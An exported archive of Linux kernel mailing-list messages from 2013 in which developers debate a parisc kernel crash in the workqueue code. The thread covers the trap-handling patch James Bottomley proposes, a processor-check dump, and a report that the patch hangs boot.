Message-ID: <20131001224702.GB28618@mtj.dyndns.org>
References: <20131001203520.GA8248@p100.box>
 <20131001204352.GA27149@mtj.dyndns.org>
 <524B364B.3010405@gmx.de>
 <20131001210348.GB27149@mtj.dyndns.org>
 <20131001210735.GA27867@mtj.dyndns.org>
 <524B4E0D.9050107@gmx.de>
 <20131001224023.GA28618@mtj.dyndns.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1380667626 7838 80.91.229.3 (1 Oct 2013 22:47:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 1 Oct 2013 22:47:06 +0000 (UTC)
Cc: Libin <huawei.libin@huawei.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Oct 02 00:47:09 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VR8ii-0001vx-An
	for glpp-linux-parisc@plane.gmane.org; Wed, 02 Oct 2013 00:47:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751783Ab3JAWrH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 1 Oct 2013 18:47:07 -0400
Original-Received: from mail-qe0-f44.google.com ([209.85.128.44]:41016 "EHLO
	mail-qe0-f44.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751303Ab3JAWrG (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 1 Oct 2013 18:47:06 -0400
Original-Received: by mail-qe0-f44.google.com with SMTP id 3so6419qeb.3
        for <multiple recipients>; Tue, 01 Oct 2013 15:47:06 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=sender:date:from:to:cc:subject:message-id:references:mime-version
         :content-type:content-disposition:in-reply-to:user-agent;
        bh=fK1Bj5soGLNm7/iZEhjDIMl6ev70hQ2jiN+BlpGPPIc=;
        b=jKDduS4YcaxcUCQJk/2Ke3bq+hPZABxOmoT+yJYKxcse8dAjwoe+/Jr0YU7lbGUKZ9
         CMJpvZ1bZ/kEBmTrsCh+Q2gC3nCdXDj7C24yitfJfQh3SlOINBb/JkXqRo2qTfSTYE35
         CGaM3+1bz+im1yFcgb4aQuutjeb9BBOLmswnEiEYZxO4t75cYWurEPYe3/mU5AflM8s8
         zqH14xONZu6J4wgmbpBHC8+SnzTrbI//JPZAeuauVTpA2dHR8JqZB1nHp5k/GXytqlBk
         J3Wj5Od3zf5RXWsKkuyJ/uZQciamtl9tXyNp3AiJAHeUVn5srscOh62oYJMTBnavvoFc
         tPHw==
X-Received: by 10.49.99.98 with SMTP id ep2mr39322739qeb.9.1380667626020;
        Tue, 01 Oct 2013 15:47:06 -0700 (PDT)
Original-Received: from mtj.dyndns.org (nat-pool-rdu-u.redhat.com. [66.187.233.203])
        by mx.google.com with ESMTPSA id fy7sm16479567qeb.1.1969.12.31.16.00.00
        (version=TLSv1 cipher=RC4-SHA bits=128/128);
        Tue, 01 Oct 2013 15:47:05 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20131001224023.GA28618@mtj.dyndns.org>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5351 gmane.linux.kernel:1571094
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5351>

On Tue, Oct 01, 2013 at 06:40:23PM -0400, Tejun Heo wrote:
> Because it is using probe_kernel_read() and such test wouldn't mean
> anything?  It may be NULL, it may be 1 or full Fs.  NULL is just one
> of many illegal pointers which may happen.  Why add code which doesn't
> achieve anything when you're explicitly trying to access pointers
> which you know could be invalid?  Why is that "clean"?  Is "if (p)
> kfree(p)" cleaner than "kfree(p)"?

Here's one general rule of thumb for "cleanliness" - try to do the
minimal because that's something many people can agree on.  If people
do stuff which aren't necessary, naturally different people would have
different opinions on what's cleaner / better and inevitably end up
with different choices as the choices made are functionally superflous
none would fail and we'll end up with various variants for the same
thing for no good reason, which is messy.  Adding if (p) in front of
probe_kernel_read(p) is inherently superflous and you wouldn't have
any way to enforce or even encourage such practice and the end result
would inevitably be if (p) being sprayed randomly, which is the
opposite of cleanliness.

So, no, please don't add random tests which aren't essential.  It is
inherently messy thing to do.

Thanks.

-- 
tejun
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] [workqueue] check values of pwq and wq in
 print_worker_info() before use
Date: Tue, 01 Oct 2013 15:50:42 -0700
Lines: 64
Approved: news@gmane.org
Message-ID: <1380667842.2081.33.camel@dabdike>
References: <20131001203520.GA8248@p100.box>
	  <20131001204352.GA27149@mtj.dyndns.org> <1380663645.2081.29.camel@dabdike>
	 <524B47A8.1010701@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1380667875 10568 80.91.229.3 (1 Oct 2013 22:51:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 1 Oct 2013 22:51:15 +0000 (UTC)
Cc: Tejun Heo <tj@kernel.org>, Libin <huawei.libin@huawei.com>,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Oct 02 00:51:18 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VR8mi-0005TB-P0
	for glpp-linux-parisc@plane.gmane.org; Wed, 02 Oct 2013 00:51:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753210Ab3JAWvP (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 1 Oct 2013 18:51:15 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:33107 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752556Ab3JAWvA (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 1 Oct 2013 18:51:00 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 30AC88EE0EF;
	Tue,  1 Oct 2013 15:51:00 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id tbiWSf8rGXbr; Tue,  1 Oct 2013 15:51:00 -0700 (PDT)
Original-Received: from [10.0.18.182] (unknown [70.102.97.201])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 741018EE07F;
	Tue,  1 Oct 2013 15:50:58 -0700 (PDT)
In-Reply-To: <524B47A8.1010701@gmx.de>
X-Mailer: Evolution 3.8.5 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5352 gmane.linux.kernel:1571097
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5352>

On Wed, 2013-10-02 at 00:07 +0200, Helge Deller wrote:
> On 10/01/2013 11:40 PM, James Bottomley wrote:
> > On Tue, 2013-10-01 at 16:43 -0400, Tejun Heo wrote:
> >> Hello,
> >>
> >> On Tue, Oct 01, 2013 at 10:35:20PM +0200, Helge Deller wrote:
> >>> print_worker_info() includes no validity check on the pwq and wq
> >>> pointers before handing them over to the probe_kernel_read() functions.
> >>>
> >>> It seems that most architectures don't care about that, but at least on
> >>> the parisc architecture this leads to a kernel crash since accesses to
> >>> page zero are protected by the kernel for security reasons.
> >>>
> >>> Fix this problem by verifying the contents of pwq and wq before usage.
> >>> Even if probe_kernel_read() usually prevents such crashes by disabling
> >>> page faults, clean code should always include such checks. 
> >>>
> >>> Without this fix issuing "echo t > /proc/sysrq-trigger" will immediately
> >>> crash the Linux kernel on the parisc architecture.
> >>
> >> Hmm... um had similar problem but the root cause here is that the arch
> >> isn't implementing probe_kernel_read() properly.  We really have no
> >> idea what the pointer value may be at the dump point and that's why we
> >> use probe_kernel_read().  If something like the above is necessary for
> >> the time being, the correct place would be the arch
> >> probe_kernel_read() implementation.  James, would it be difficult
> >> implement proper probe_kernel_read() on parisc?
> > 
> > The problem seems to be that some traps bypass our exception table
> > handling.  
> 
> Yes, that's correct.
> It's trap #26 and we directly call parisc_terminate() for fault_space==0
> without checking the exception table.
> See my patch I posted a few hours ago which fixes this:
> https://patchwork.kernel.org/patch/2971701/

That doesn't quite look right ... I guessed it was probably access
rights, so we should do an exception table fixup, so isn't this the fix?
because we shouldn't call do_page_fault if there's no exception table.

James

---
diff --git a/arch/parisc/kernel/traps.c b/arch/parisc/kernel/traps.c
index 04e47c6..25a088a 100644
--- a/arch/parisc/kernel/traps.c
+++ b/arch/parisc/kernel/traps.c
@@ -684,6 +684,8 @@ void notrace handle_interruption(int code, struct pt_regs *regs)
 		/* Fall Through */
 	case 26: 
 		/* PCXL: Data memory access rights trap */
+		if (!user_mode(regs) && fixup_exception(regs))
+			return;
 		fault_address = regs->ior;
 		fault_space   = regs->isr;
 		break;


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:09:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] [workqueue] check values of pwq and wq in print_worker_info() before use
Date: Tue, 1 Oct 2013 20:41:45 -0400
Lines: 278
Approved: news@gmane.org
Message-ID: <BLU0-SMTP20819B96B27461E7D1BD6997160@phx.gbl>
References: <20131001203520.GA8248@p100.box> <20131001204352.GA27149@mtj.dyndns.org> <1380663645.2081.29.camel@dabdike> <524B47A8.1010701@gmx.de> <1380667842.2081.33.camel@dabdike>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: multipart/mixed; boundary="Apple-Mail-4-787863263"
X-Trace: ger.gmane.org 1380674898 13064 80.91.229.3 (2 Oct 2013 00:48:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 2 Oct 2013 00:48:18 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, Tejun Heo <tj@kernel.org>,
	Libin <huawei.libin@huawei.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Oct 02 02:48:17 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VRAbw-0000HS-H7
	for glpp-linux-parisc@plane.gmane.org; Wed, 02 Oct 2013 02:48:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751757Ab3JBAsP (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 1 Oct 2013 20:48:15 -0400
Original-Received: from blu0-omc1-s31.blu0.hotmail.com ([65.55.116.42]:28913 "EHLO
	blu0-omc1-s31.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751559Ab3JBAsO (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 1 Oct 2013 20:48:14 -0400
X-Greylist: delayed 370 seconds by postgrey-1.27 at vger.kernel.org; Tue, 01 Oct 2013 20:48:14 EDT
Original-Received: from BLU0-SMTP20 ([65.55.116.7]) by blu0-omc1-s31.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Tue, 1 Oct 2013 17:42:04 -0700
X-TMN: [94OeEBxB3WPVlOIYHSl/iqjoFoAY8ClN]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.131.172]) by BLU0-SMTP20.blu0.hotmail.com over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Tue, 1 Oct 2013 17:42:01 -0700
In-Reply-To: <1380667842.2081.33.camel@dabdike>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 02 Oct 2013 00:42:01.0950 (UTC) FILETIME=[358E87E0:01CEBF08]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5354 gmane.linux.kernel:1571125
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5354>

--Apple-Mail-4-787863263
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit

On 1-Oct-13, at 6:50 PM, James Bottomley wrote:

> On Wed, 2013-10-02 at 00:07 +0200, Helge Deller wrote:
>> On 10/01/2013 11:40 PM, James Bottomley wrote:
>>> On Tue, 2013-10-01 at 16:43 -0400, Tejun Heo wrote:
>>>> Hello,
>>>>
>>>> On Tue, Oct 01, 2013 at 10:35:20PM +0200, Helge Deller wrote:
>>>>> print_worker_info() includes no validity check on the pwq and wq
>>>>> pointers before handing them over to the probe_kernel_read()  
>>>>> functions.
>>>>>
>>>>> It seems that most architectures don't care about that, but at  
>>>>> least on
>>>>> the parisc architecture this leads to a kernel crash since  
>>>>> accesses to
>>>>> page zero are protected by the kernel for security reasons.
>>>>>
>>>>> Fix this problem by verifying the contents of pwq and wq before  
>>>>> usage.
>>>>> Even if probe_kernel_read() usually prevents such crashes by  
>>>>> disabling
>>>>> page faults, clean code should always include such checks.
>>>>>
>>>>> Without this fix issuing "echo t > /proc/sysrq-trigger" will  
>>>>> immediately
>>>>> crash the Linux kernel on the parisc architecture.
>>>>
>>>> Hmm... um had similar problem but the root cause here is that the  
>>>> arch
>>>> isn't implementing probe_kernel_read() properly.  We really have no
>>>> idea what the pointer value may be at the dump point and that's  
>>>> why we
>>>> use probe_kernel_read().  If something like the above is  
>>>> necessary for
>>>> the time being, the correct place would be the arch
>>>> probe_kernel_read() implementation.  James, would it be difficult
>>>> implement proper probe_kernel_read() on parisc?
>>>
>>> The problem seems to be that some traps bypass our exception table
>>> handling.
>>
>> Yes, that's correct.
>> It's trap #26 and we directly call parisc_terminate() for  
>> fault_space==0
>> without checking the exception table.
>> See my patch I posted a few hours ago which fixes this:
>> https://patchwork.kernel.org/patch/2971701/
>
> That doesn't quite look right ... I guessed it was probably access
> rights, so we should do an exception table fixup, so isn't this the  
> fix?
> because we shouldn't call do_page_fault if there's no exception table.

What about trap #18?  It appears the same problem can occur on PCXS.

I have the strong feeling that __copy_from_user still won't be bullet  
proof.
See attached fault.  As far as I know, we don't have an OS HPMC handler.

>
> James
>
> ---
> diff --git a/arch/parisc/kernel/traps.c b/arch/parisc/kernel/traps.c
> index 04e47c6..25a088a 100644
> --- a/arch/parisc/kernel/traps.c
> +++ b/arch/parisc/kernel/traps.c
> @@ -684,6 +684,8 @@ void notrace handle_interruption(int code,  
> struct pt_regs *regs)
> 		/* Fall Through */
> 	case 26:
> 		/* PCXL: Data memory access rights trap */
> +		if (!user_mode(regs) && fixup_exception(regs))
> +			return;
> 		fault_address = regs->ior;
> 		fault_space   = regs->isr;
> 		break;
>
>
> --
> To unsubscribe from this list: send the line "unsubscribe linux- 
> parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
>

--
John David Anglin	dave.anglin@bell.net



--Apple-Mail-4-787863263
Content-Disposition: attachment; filename="hpmc-20130929.txt"
Content-Type: text/plain; x-unix-mode=0644; name="hpmc-20130929.txt"
Content-Transfer-Encoding: quoted-printable

=EF=BB=BFService Menu: Enter command > pim


PROCESSOR PIM INFORMATION

Original Product Number:  A7136A
Current Product Number:   A7136A


-----------------  Processor 0 HPMC Information - PDC Version: 46.34  =
------=20

Timestamp =3D   Sun Sep  29 14:40:29 GMT 2013    (20:13:09:29:14:40:29)

HPMC Chassis Codes

       Chassis Code        Extension
       ------------        ---------
       0xe800035c00e00000 0x0000000000000000


General Registers 0 - 31
00-03  0000000000000000  00000000406143a0  0000000000000000  =
0000000000000000
04-07  0000000000000000  0000000000000000  0000000000000000  =
0000000000000000
08-11  000000000000001a  00047dbc422040a0  0000000000000000  =
0000000000000000
12-15  0000000000000000  0000000000000000  0000000000000000  =
0000000000000000
16-19  0000000000000000  00000000ffffffff  0000000000000000  =
0000000000000000
20-23  0000000000000000  0000000000000000  0000000000000000  =
0000000000000000
24-27  000000000000d000  0000000000000000  0000000000000000  =
0000000000000000
28-31  0000000000000000  0000000000000000  160012bc00e00000  =
0000000000000000


                                                                =20
Control Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  =
0000000000000000
04-07  0000000000000000  0000000000000000  0000000000000000  =
0000000000000000
08-11  00000000000025ac  0000000000000000  00000000000000c0  =
0000000000000000
12-15  0000000000000000  0000000000000000  0000000000103000  =
ffe0000000000000
16-19  00000065514c48b9  0000000000000000  0000000000000000  =
0000000000000000
20-23  0000000000000000  0000000000000000  000000f008008200  =
0000000000000000
24-27  00000000006b4000  00000001fbc7a000  ffffffffffffffff  =
ffffffffffffffff
28-31  ffffffffffffffff  ffffffffffffffff  0000000040614000  =
a001011408940009

                                                                =20
Space Registers 0 - 7
00-03  000000000096b000  000000000096b000  0000000000000000  =
000000000096b000
04-07  0000000000000000  0000000000000000  0000000000000000  =
0000000000000000


IIA Space (back entry)       =3D 0x0000000000000000
IIA Offset (back entry)      =3D 0x0000000000000000
Check Type                   =3D 0xe0000000
Cpu State                    =3D 0x1e000000
Cache Check                  =3D 0xc0000000
TLB Check                    =3D 0x40000000
Bus Check                    =3D 0x00000000
Assists Check                =3D 0x0096b000
Assist State                 =3D 0x00000000
Path Info                    =3D 0x00000000
System Responder Address     =3D 0x0000000000000000
System Requestor Address     =3D 0x0000000000000000


                                                                =20
Floating Point Registers 0 - 31
00-03  0c15580000000000  0000000000000000  0000000000000000  =
0000000000000000
04-07  0000000a8b7ff33a  a000000000000000  0000000640000000  =
0000000000000000
08-11  0000000000000000  0000000000000000  0000000000000000  =
0000000000000000
12-15  0000000000000000  0000000000000000  0000000000000000  =
0000000000000000
16-19  0000000000000000  0000000000000000  0000000000000000  =
0000000000000000
20-23  0000000000000000  0000000000000000  0000000000000000  =
0000000000000000
24-27  0000000000000000  0000000000000000  0000000000000000  =
0000000000000000
28-31  0000000000000000  0000000000000000  0000000000000000  =
0000000000000000


PIM Revision                 =3D 0x0000000000000001               =20
CPU ID                       =3D 0x0000000000000014
CPU Revision                 =3D 0x0000000000000031
Cpu Serial Number            =3D 0x46100b89e43f0503
Check Summary                =3D 0xc0400040c2730000
SAL Timestamp                =3D 0x0000000052483bdd
System Firmware Rev.         =3D 0x00000ba20000121a
PDC Relocation Address       =3D 0xfffffff0f0c00000
Available Memory             =3D 0x00000001ffe00000
CPU Diagnose Register 2      =3D 0x311202200004200a
MIB_STAT                     =3D 0x0040000000200000
MIB_LOG1                     =3D 0x0000000000555500
MIB_LOG2                     =3D 0x0000000000000000
MIB_ECC_DATA                 =3D 0x286caf8e14000000
ICache Info                  =3D 0x0070000000000000
DCache Info                  =3D 0x0000000000000000
Sharedcache Info1            =3D 0x0000000000000000
Sharedcache Info2            =3D 0x0000000000000000
MIB_RSLOG1                   =3D 0x4930408847b60466
MIB_RSLOG2                   =3D 0x0a00010000000000
MIB_RQLOG                    =3D 0xc050408847b69400
MIB_REQLOGa                  =3D 0xa498204423db2a80
MIB_REQLOGb                  =3D 0x198280000e008000
Reserved                     =3D 0x0000000000000000
Cache Repair Detail          =3D 0x0000000000000000

PIM Detail Text:

                                                                =20
--------------  Memory Error Log Information  --------------
Timestamp =3D   Sun Sep  29 14:40:30 GMT 2013    (20:13:09:29:14:40:30)

  OV  RQ  RS      ESTAT      A  C  D  corr  unc  fe  cw  pf
  --  --  --      -----      -  -  -  ----  ---  --  --  --
          X    ERR_TIMEOUT                              =20


  General Bus Logs:=20
    REQUESTOR_ID               =3D 0x0000000000000000
    RESPONDER_ID               =3D 0x0000000000000000
    TARGET_ID                  =3D 0x00014dbc42204190
    BUS_SPECIFIC_DATA          =3D 0x0000000000189000
    ERROR_LOG_EN               =3D 0x0000000000001dff
    ERROR_SIG_EN               =3D 0x0000000000000157
    ERROR_STATUS               =3D 0x0000000000000008
    ERROR_OVFL                 =3D 0x0000000000000000
    ERROR_FIRST                =3D 0x0000000000000000
                                                                =20
  Detailed Bus Logs: =20
    AP_ADDRa      =3D 0x0000000000000000
    AP_ADDRb      =3D 0x0000000000000000
    ST_ADDRa      =3D 0x0000000000000000
    ST_ADDRb      =3D 0x0000000000000000
    RT_ADDRa      =3D 0x00494dbc42204190
    RT_ADDRb      =3D 0x0030000700001418
    RP_ADDRa      =3D 0x0000000000000000
    RP_ADDRb      =3D 0x0000000000000000
    LE_ADDRa      =3D 0x0000000000000000
    LE_ADDRb      =3D 0x0000000000000000
    ST_TO         =3D 0x0000000000011001
    PT_TO         =3D 0x000000000007a120
    RT_TO         =3D 0x0000000000010003


                                                                =20
------------  I/O Module Error Log Information  ------------

  No IO subsystem errors recorded


--Apple-Mail-4-787863263--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] [workqueue] check values of pwq and wq in print_worker_info() before use
Date: Tue, 1 Oct 2013 21:58:23 -0400
Lines: 89
Approved: news@gmane.org
Message-ID: <BLU0-SMTP14B0EBB3853FE8B06192DB97160@phx.gbl>
References: <20131001203520.GA8248@p100.box> <20131001204352.GA27149@mtj.dyndns.org> <1380663645.2081.29.camel@dabdike> <524B47A8.1010701@gmx.de> <1380667842.2081.33.camel@dabdike>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1380679129 21182 80.91.229.3 (2 Oct 2013 01:58:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 2 Oct 2013 01:58:49 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, Tejun Heo <tj@kernel.org>,
	Libin <huawei.libin@huawei.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Oct 02 03:58:47 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VRBi7-0002dl-CT
	for glpp-linux-parisc@plane.gmane.org; Wed, 02 Oct 2013 03:58:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751888Ab3JBB6m (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 1 Oct 2013 21:58:42 -0400
Original-Received: from blu0-omc1-s32.blu0.hotmail.com ([65.55.116.43]:12373 "EHLO
	blu0-omc1-s32.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751860Ab3JBB6l (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 1 Oct 2013 21:58:41 -0400
Original-Received: from BLU0-SMTP14 ([65.55.116.7]) by blu0-omc1-s32.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Tue, 1 Oct 2013 18:58:40 -0700
X-TMN: [kvig5lNb5sDR0/RvOuXAKqCb/zhMCTH9]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.131.172]) by BLU0-SMTP14.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Tue, 1 Oct 2013 18:58:39 -0700
In-Reply-To: <1380667842.2081.33.camel@dabdike>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 02 Oct 2013 01:58:39.0776 (UTC) FILETIME=[EA131A00:01CEBF12]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5355 gmane.linux.kernel:1571145
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5355>

On 1-Oct-13, at 6:50 PM, James Bottomley wrote:

> On Wed, 2013-10-02 at 00:07 +0200, Helge Deller wrote:
>> On 10/01/2013 11:40 PM, James Bottomley wrote:
>>> On Tue, 2013-10-01 at 16:43 -0400, Tejun Heo wrote:
>>>> Hello,
>>>>
>>>> On Tue, Oct 01, 2013 at 10:35:20PM +0200, Helge Deller wrote:
>>>>> print_worker_info() includes no validity check on the pwq and wq
>>>>> pointers before handing them over to the probe_kernel_read()  
>>>>> functions.
>>>>>
>>>>> It seems that most architectures don't care about that, but at  
>>>>> least on
>>>>> the parisc architecture this leads to a kernel crash since  
>>>>> accesses to
>>>>> page zero are protected by the kernel for security reasons.
>>>>>
>>>>> Fix this problem by verifying the contents of pwq and wq before  
>>>>> usage.
>>>>> Even if probe_kernel_read() usually prevents such crashes by  
>>>>> disabling
>>>>> page faults, clean code should always include such checks.
>>>>>
>>>>> Without this fix issuing "echo t > /proc/sysrq-trigger" will  
>>>>> immediately
>>>>> crash the Linux kernel on the parisc architecture.
>>>>
>>>> Hmm... um had similar problem but the root cause here is that the  
>>>> arch
>>>> isn't implementing probe_kernel_read() properly.  We really have no
>>>> idea what the pointer value may be at the dump point and that's  
>>>> why we
>>>> use probe_kernel_read().  If something like the above is  
>>>> necessary for
>>>> the time being, the correct place would be the arch
>>>> probe_kernel_read() implementation.  James, would it be difficult
>>>> implement proper probe_kernel_read() on parisc?
>>>
>>> The problem seems to be that some traps bypass our exception table
>>> handling.
>>
>> Yes, that's correct.
>> It's trap #26 and we directly call parisc_terminate() for  
>> fault_space==0
>> without checking the exception table.
>> See my patch I posted a few hours ago which fixes this:
>> https://patchwork.kernel.org/patch/2971701/
>
> That doesn't quite look right ... I guessed it was probably access
> rights, so we should do an exception table fixup, so isn't this the  
> fix?
> because we shouldn't call do_page_fault if there's no exception table.
>
> James
>
> ---
> diff --git a/arch/parisc/kernel/traps.c b/arch/parisc/kernel/traps.c
> index 04e47c6..25a088a 100644
> --- a/arch/parisc/kernel/traps.c
> +++ b/arch/parisc/kernel/traps.c
> @@ -684,6 +684,8 @@ void notrace handle_interruption(int code,  
> struct pt_regs *regs)
> 		/* Fall Through */
> 	case 26:
> 		/* PCXL: Data memory access rights trap */
> +		if (!user_mode(regs) && fixup_exception(regs))
> +			return;
> 		fault_address = regs->ior;
> 		fault_space   = regs->isr;
> 		break;


With this change, boot on rp3440 hangs here:

Freeing unused kernel memory: 256K (000000004079c000 - 00000000407dc000)
Loading, please wait...

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] [workqueue] check values of pwq and wq in print_worker_info()
 before use
Date: Wed, 02 Oct 2013 10:28:14 +0200
